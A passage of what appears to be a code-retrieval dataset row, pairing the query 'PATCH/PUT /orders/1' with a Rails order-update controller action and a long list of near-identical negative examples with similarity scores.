"0.6840204",
"0.6838178",
"0.6838178",
"0.6838178",
"0.6838178",
"0.682244",
"0.6790037",
"0.67793274",
"0.6779247",
"0.67782325",
"0.6771919",
"0.6771919",
"0.67691034",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6754747",
"0.6750308",
"0.6741648",
"0.6727289",
"0.67202854",
"0.67192626",
"0.67174095",
"0.66730356",
"0.66511375",
"0.66424936",
"0.66256195",
"0.66148645",
"0.65905017",
"0.6581552",
"0.6574477",
"0.65712935",
"0.65698874",
"0.6569679",
"0.65657544",
"0.656543",
"0.6562849",
"0.6553006",
"0.65528905",
"0.65511286",
"0.65461224",
"0.6544374",
"0.65240365",
"0.6502522",
"0.64868236",
"0.6485337",
"0.6483515",
"0.64801395",
"0.6467508",
"0.6463724",
"0.6455904",
"0.64464027",
"0.6438949",
"0.64251065",
"0.6424166",
"0.6408214",
"0.64042836",
"0.6403627",
"0.63958675",
"0.639366",
"0.63919747",
"0.6391734",
"0.6390046",
"0.63786453",
"0.6368862",
"0.63676715",
"0.63499165",
"0.6326805",
"0.6325994",
"0.6319851",
"0.63150823",
"0.6309701",
"0.6297522",
"0.62932307",
"0.6284583",
"0.62811166",
"0.6266786",
"0.6266663",
"0.62406427",
"0.6232846",
"0.6231927"
] | 0.65232676 | 62 |
PATCH/PUT /orders/1 PATCH/PUT /orders/1.json | def update
respond_to do |format|
if @order.update(order_params)
format.html { redirect_to @order, notice: 'Order was successfully updated.' }
format.json { head :no_content }
else
format.html { render 'edit' }
format.json { render json: @order.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n if @order.update(order_params)\n head :no_content\n else\n render json: @order.errors, status: :unprocessable_entity\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, :notice=>\"Order was successfully updated.\"}\n format.json { head :ok }\n else\n format.html { render :action=>\"edit\" }\n format.json { render :json=>@order.errors, :status=>\"unprocessable_entry\" }\n end\n end\n end",
"def update\n #@order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { render json:@order }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to orders_url, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to order_url(@order), notice: I18n.t('orders.successfully_updated') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, :notice => 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @order.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @v1_order = V1::Order.find(params[:id])\n\n case @v1_order.state\n when 0\n if @v1_order.update(v1_order_params)\n head :no_content\n else\n render json: @v1_order.errors, status: :unprocessable_entity\n end\n else\n render json: {message: 'Can be edited only when in draft(0) state'}, status: 400\n end\n \n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(params[:order])\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order = Order.find(params[:id])\n\n respond_to do |format|\n if @order.update_attributes(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to orders_path, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @orders_path }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if order.update(order_params)\n format.html { redirect_to order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: order.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @order1 = Order1.find(params[:id])\n\n respond_to do |format|\n if @order1.update_attributes(params[:order1])\n format.html { redirect_to stores_path, notice: 'Order1 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @order1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n @orders = Order.all\n @order = Order.find(params[:id])\n\n @order.update_attributes(order_params)\n\n=begin\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n=end\n end",
"def update_order(order_id:,\n body:)\n new_api_call_builder\n .request(new_request_builder(HttpMethodEnum::PUT,\n '/v2/orders/{order_id}',\n 'default')\n .template_param(new_parameter(order_id, key: 'order_id')\n .should_encode(true))\n .header_param(new_parameter('application/json', key: 'Content-Type'))\n .body_param(new_parameter(body))\n .header_param(new_parameter('application/json', key: 'accept'))\n .body_serializer(proc do |param| param.to_json unless param.nil? end)\n .auth(Single.new('global')))\n .response(new_response_handler\n .deserializer(APIHelper.method(:json_deserialize))\n .is_api_response(true)\n .convertor(ApiResponse.method(:create)))\n .execute\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity, response: request.body.read }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: t('app.orders.update.success') }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @order.update(order_params)\n\t\t\t\tformat.html { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.mobile { redirect_to @order, notice: 'Order was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.mobile { render action: 'edit' }\n\t\t\t\tformat.json { render json: @order.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, flash: { sucess: 'Order was successfully updated.' } }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to home_path, notice: 'Order was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: \"Order was successfully updated.\" }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @order.update(order_params)\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.6802742",
"0.6802742",
"0.6774753",
"0.67434865",
"0.6735464",
"0.67268074",
"0.6723089",
"0.6719465",
"0.6704642",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6704579",
"0.6690382",
"0.66887504",
"0.66887504",
"0.66768116",
"0.665712",
"0.6655155",
"0.66521746",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6641665",
"0.6638436",
"0.662561",
"0.6621092",
"0.65884477",
"0.65540516",
"0.6537583",
"0.65040654",
